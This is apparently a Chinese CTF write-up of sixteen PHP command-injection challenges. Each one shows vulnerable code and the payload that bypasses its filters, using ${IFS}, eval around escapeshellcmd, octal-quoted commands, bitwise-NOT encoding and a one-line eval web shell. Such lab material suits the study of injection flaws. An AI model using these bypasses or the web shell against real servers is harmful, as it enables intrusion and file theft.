EZCMD
php
<?php
error_reporting(0);
if (isset($_POST['cmd'])) {
$cmd = escapeshellcmd($_POST['cmd']);
system($cmd);
}
show_source(__FILE__);
?>
关于 escapeshellcmd() 函数的介绍请看博客:escapeshellcmd()与escapeshellarg()函数-CSDN博客
这一关中 escapeshellcmd() 可以说形同虚设:

EZCMD_1
在终端或 Shell 中,分号的作用是告诉系统:依次执行多个命令

EZCMD_2
php
<?php
error_reporting(0);
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
system($cmd." >/dev/null 2>&1");
}
show_source(__FILE__);
?>
虽然这段代码试图通过追加 >/dev/null 2>&1 来把命令的输出丢弃掉(这通常是为了不让用户看到命令执行的回显结果),但这仅仅掩耳盗铃,完全没有阻止恶意命令的执行。
当系统解析被注入的命令时: 命令A ; 命令B >/dev/null 2>&1 系统会认为:先正常执行 命令A(它的输出会正常显示),然后再执行 命令B,并且仅仅把 命令B 的输出丢弃。
或者直接 命令A # >/dev/null 2>&1 来注释掉后面的丢弃语句。

EZCMD_3
php
<?php
error_reporting(0);
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
if (strpos($cmd, ' ') !== false) {
die('no space allowed');
}
system($cmd." >/dev/null 2>&1");
}
show_source(__FILE__);
?>
在上一题的基础上过滤了空格。$IFS (Internal Field Separator) 是 Linux 的一个特殊环境变量,它的默认值就是空格、制表符(Tab)和换行符 。黑客可以直接用这个变量来"替换"空格。 为了防止变量名和后面的路径连在一起(比如变成 $IFSbin),黑客通常会加上大括号 ${IFS} 或者拼接一个空变量 $9。

EZCMD_4
打开就是一张雷霆图片,一点也不可爱

访问robots.txt拿到一个php文件,访问就是这段代码了:
php
<?php
error_reporting(0);
if (isset($_POST['cmd'])) {
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>
这题过滤了好多东西,相当棘手。 黑名单封杀了 cat, tail, more, less, nl, od 等几乎所有常见的文本读取命令。 但是有一个叫 dd 的命令。dd 本来是 Linux 下用于底层磁盘拷贝和备份的强大工具,但如果把它指向一个普通的文本文件,它同样会把文件内容打印到屏幕上。 因此构造payload:

if=/$a$b:if在dd命令里的意思是 input file(输入文件)。当 Linux Shell 看到$a$b时,它会去内存里把刚才存的a和b的值拿出来。- 此时,
/$a$b瞬间在内存中被还原成了/flag。 - 最终系统实际执行的命令是:
dd if=/flag。
但是这里有个问题值得思考:最前面的 eval 有什么用?可不可以去掉它?
先说结论:不能去掉,去掉了就拿不到flag了:

不带 eval
- 输入:
a=fl;b=ag;dd if=/$a$b - PHP 的
escapeshellcmd()介入: 这个函数的本职工作就是转义特殊字符,它会把分号;和美元符号$前面强行加上反斜杠\。 于是,拼接进$cmd的字符串变成了:a=fl\;b=ag\;dd if=/\$a\$b - 交给 Linux Shell 执行: 当 Linux 收到这串带着反斜杠的命令时,它会认为:"哦,你不想让分号当分隔符,你也不想让美元符号当变量,你想让我执行一个名字就叫做
a=fl;b=ag;dd的奇葩程序,并且参数是if=/$a$b。" 因为系统里根本没有这种名字的程序,所以命令直接报错退出,什么都不会发生,拿不到 flag。
带上 eval
- 输入:
eval a=fl;b=ag;dd if=/$a$b - PHP 的
escapeshellcmd()介入: 同样,它兢兢业业地转义了分号和美元符号,变成了:eval a=fl\;b=ag\;dd if=/\$a\$b - 交给 Linux Shell 执行(奇迹发生的时刻): 这个时候,Linux Shell 的解析分为两步走 :
- 第一步:Shell 的第一次解析 Shell 看到第一个词是
eval,它知道这是一个合法的系统命令。然后它把后面的部分当成参数传给eval。 关键特性:Shell 在给命令传递参数时,会"消耗"掉用来转义的反斜杠。 也就是说,反斜杠完成了它的转义使命后,就消失 了。eval实际接收到的参数是干干净净的:a=fl;b=ag;dd if=/$a$b。 - 第二步:
eval的第二次解析eval这个命令的作用,就是把接收到的参数,当成全新的 Shell 语句再执行一遍! 此时,eval面对的是毫无保护、没有反斜杠的纯净字符串:a=fl;b=ag;dd if=/$a$b。 分号;重新恢复了分隔符的魔力,美元符号$重新恢复了变量解析的魔力! 最终,它成功拼接出dd if=/flag,并把你的 flag 打印在了网页上。
- 第一步:Shell 的第一次解析 Shell 看到第一个词是
把 dd if 换成 rev 命令也能拿到flag,只不过是倒过来的

EZCMD_5
php
<?php
//flag在/flag.txt文件中
error_reporting(0);
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
if (preg_match('/[a-zA-Z]/', $cmd)) {
die('no letter allowed');
}
system($cmd);
}
show_source(__FILE__);
?>
个人认为这一关比上一关简单,这里把所有字母的大小写都过滤了。
$'...' 语法在 Bash 中被称为 ANSI-C 引用 (ANSI-C Quoting)。在这个结构内部,Shell 会将其中的转义序列(比如八进制、十六进制)解码成对应的 ASCII 字符。如果解码后的字符串位于命令行的开头,Shell 就会将其作为命令去执行。 比如:
bash
$'\154\163' #等同于命令:ls
核心原理
在 ASCII 码表中,每个字符都可以用八进制数来表示。在 $'...' 中,你可以使用 \nnn 的格式(n 代表八进制数字)来代替字母。
例如,字母 l 的 ASCII 十进制是 108,转换为八进制是 154。字母 s 的十进制是 115,八进制是 163。
| 字符 | 含义 | 八进制 | Shell 语法 |
|---|---|---|---|
|
空格 (分隔命令与参数) | 040 | \40 |
/ |
斜杠 (根目录/路径分隔) | 057 | \57 |
. |
点号 (当前目录/文件扩展名) | 056 | \56 |
- |
连字符 (命令参数引导) | 055 | \55 |
* |
星号 (通配符绕过) | 052 | \52 |
| 字母 | 大写八进制 | 大写 Shell 语法 | 小写八进制 | 小写 Shell 语法 |
|---|---|---|---|---|
| A / a | 101 | \101 |
141 | \141 |
| B / b | 102 | \102 |
142 | \142 |
| C / c | 103 | \103 |
143 | \143 |
| D / d | 104 | \104 |
144 | \144 |
| E / e | 105 | \105 |
145 | \145 |
| F / f | 106 | \106 |
146 | \146 |
| G / g | 107 | \107 |
147 | \147 |
| H / h | 110 | \110 |
150 | \150 |
| I / i | 111 | \111 |
151 | \151 |
| J / j | 112 | \112 |
152 | \152 |
| K / k | 113 | \113 |
153 | \153 |
| L / l | 114 | \114 |
154 | \154 |
| M / m | 115 | \115 |
155 | \155 |
| N / n | 116 | \116 |
156 | \156 |
| O / o | 117 | \117 |
157 | \157 |
| P / p | 120 | \120 |
160 | \160 |
| Q / q | 121 | \121 |
161 | \161 |
| R / r | 122 | \122 |
162 | \162 |
| S / s | 123 | \123 |
163 | \163 |
| T / t | 124 | \124 |
164 | \164 |
| U / u | 125 | \125 |
165 | \165 |
| V / v | 126 | \126 |
166 | \166 |
| W / w | 127 | \127 |
167 | \167 |
| X / x | 130 | \130 |
170 | \170 |
| Y / y | 131 | \131 |
171 | \171 |
| Z / z | 132 | \132 |
172 | \172 |
因此直接构造payload:
plain
cmd=$'\143\141\164' $'\57\146\154\141\147\56\164\170\164' #cat /flag.txt

EZCMD_6
php
<?php @eval($_POST['qc']);
show_source(__FILE__);
?>
典型的一句话木马,用蚁剑连接拿下flag,或者传参那下flag


EZCMD_7
php
<?php
error_reporting(0);
if(isset($_GET['qc'])){
$qc = $_GET['qc'];
if(!preg_match("/flag/i", $qc)){
eval($qc);
}
}else{
highlight_file(__FILE__);
}
?>
很简单且好多种方法,?qc=system('cat /f*');即可。

EZCMD_8
php
<?php
error_reporting(0);
if(isset($_GET['qc'])){
$qc = $_GET['qc'];
if(!preg_match("/flag|system/i", $qc)){
eval($qc);
}
}else{
highlight_file(__FILE__);
}
?>
过滤了system关键字,可以用echo代替system。`echo`cat /f*等价于cat /f*。

EZCMD_9
php
<?php
error_reporting(0);
if(isset($_GET['qc'])){
$qc = $_GET['qc'];
if(!preg_match("/system| /i", $qc)){
eval($qc);
}
}else{
highlight_file(__FILE__);
}
?>
过滤了system和空格,依旧用echo``,空格用重定向符 < 代替

EZCMD_10
php
<?php
error_reporting(0);
if(isset($_GET['qc'])){
$qc = $_GET['qc'];
if(!preg_match("/;/i", $qc)){
eval($qc);
}
}else{
highlight_file(__FILE__);
}
?>
//flag在根目录的flag.txt文件中
过滤了分号 ; ,用 ?> 代替他即可

EZCMD_11
php
<?php
//flag在flag.php文件中
error_reporting(0);
if(isset($_GET['qc'])){
$qc = $_GET['qc'];
if(!preg_match("/;/i", $qc)){
eval($qc);
}
}else{
highlight_file(__FILE__);
}
?>
依旧过滤分号 ; 因为是php文件,因此不会渲染在页面上,打开源码就能看见

EZCMD_12
php
<?php
//flag在flag.php文件中
error_reporting(0);
if (isset($_GET['qc'])) {
$qc = $_GET['qc'];
if (!preg_match("/['\"\?<>\.\$\{\}:\\\\~^@*\-+=\[\]\,]/", $qc)) {
eval($qc);
}
} else {
highlight_file(__FILE__);
}
?>
提示flag在flag.php里面,但是过滤的有点狠了:
1. 引号与括号
':单引号":双引号{和}:左右大括号(通过\{和\}转义)[和]:左右中括号(通过\[和\]转义)
2. 标点与路径符号
?:英文问号(通过\?转义).:英文句点(通过\.转义),:英文逗号(通过\,转义)::英文冒号\:反斜杠(在 PHP 字符串中写为\\\\,解析为正则表达式的\\,用于匹配单个反斜杠)
3. 数学与逻辑符号
<和>:小于号和大于号(常用于过滤 HTML 标签<script>)-:减号/连字符(通过\-转义,防止正则引擎将其误认为是字符区间,如a-z)+:加号=:等号*:星号
4. 其他特殊符号
$:美元符号(通过\$转义,防止被误认为正则的"行尾"占位符或 PHP 变量)~:波浪号^:脱字符/插入号(在[]内部如果不在开头,代表其字面含义)@:At 符号
请出我们的xargs命令,关于xargs命令可以看我的文章:xargs命令-CSDN博客
最终构造payload:
plain
?qc=echo`ls | grep flag | xargs cat`;

EZCMD_13
php
<?php
$re = isset($_GET['re']) ? $_GET['re'] : '';
$str = isset($_GET['str']) ? $_GET['str'] : '';
if ($re === '' || $str === '') {
highlight_file(__FILE__);
exit;
}
echo preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
这是一个经典的 preg_replace /e 代码执行 漏洞(PHP < 7.0)。
漏洞原理
/e 修饰符会把替换字符串当作 PHP 代码执行:
php
preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
- $re → 正则表达式(我们控制)
- $str → 待匹配字符串(我们控制)
- \1 → 匹配到的内容会替换进 strtolower("\1") 中
- 最终拼接出的代码被 eval 执行
后面就不会做了,无论怎么造payload都不管用。希望各位有才华的读者教教我怎么做。
EZCMD_14
php
<?php
error_reporting(0);
if(isset($_GET['qc'])){
$qc = $_GET['qc'];
if(!preg_match("/[a-zA-Z0-9]/", $qc)){
eval($qc);
}
}else{
highlight_file(__FILE__);
}
?>
这是一个典型的 PHP 非字母数字代码执行题,这种的一般思路就是通过取反或者异或构造想要的payload,我这里用取反做,直接写个简单的脚本:
python
def encode_not(func_name):
result = ""
for ch in func_name:
val = 255 - ord(ch)
result += f"%{val:02X}"
return f"(~{result})"
command = input("请输入命令: ")
print(encode_not(command))
通过这个脚本得到 phpinfo 取反后的URL编码为: (%8F%97%8F%96%91%99%90),具体细节如下
plain
目标字符: p h p i n f o
ASCII码: 112 104 112 105 110 102 111
取反(255-x): 143 151 143 150 145 153 144
转十六进制: 0x8F 0x97 0x8F 0x96 0x91 0x99 0x90
URL编码: %8F %97 %8F %96 %91 %99 %90
最终构造pyaload: system('cat /flag'); 拿到flag

EZCMD_15
php
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['qc'])) {
exec($_GET['qc']);
}
?>
关键问题是 exec() 不回显输出(不像 system()),所以直接传命令看不到结果。
第一步:先找flag的位置:
plain
?qc=ls / >> 1.txt
访问1.txt发现flag确实在根目录里

第二步:获取flag:
plain
?qc=cat /flag > 1.txt
访问1.txt得到flag

EZMD5_16
php
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['qc'])) {
create_function('', 'return ' . $_GET['qc'] . ';');
}
?>
create_function() 底层等价于 eval(),存在代码注入漏洞。
原理
用户输入直接拼接进函数体:
php
// 你传入 qc=1
create_function('', 'return 1;');
// 如果传入 qc=1;}system("cat /flag");/*
create_function('', 'return 1;}system("cat /flag");/*;');
拼接后的函数体变成:
php
function() {
return 1;} // 提前闭合 return 和函数体
system("cat /flag"); // 注入的代码,在定义时就执行了
/*; // 注释掉多余的 ;
}
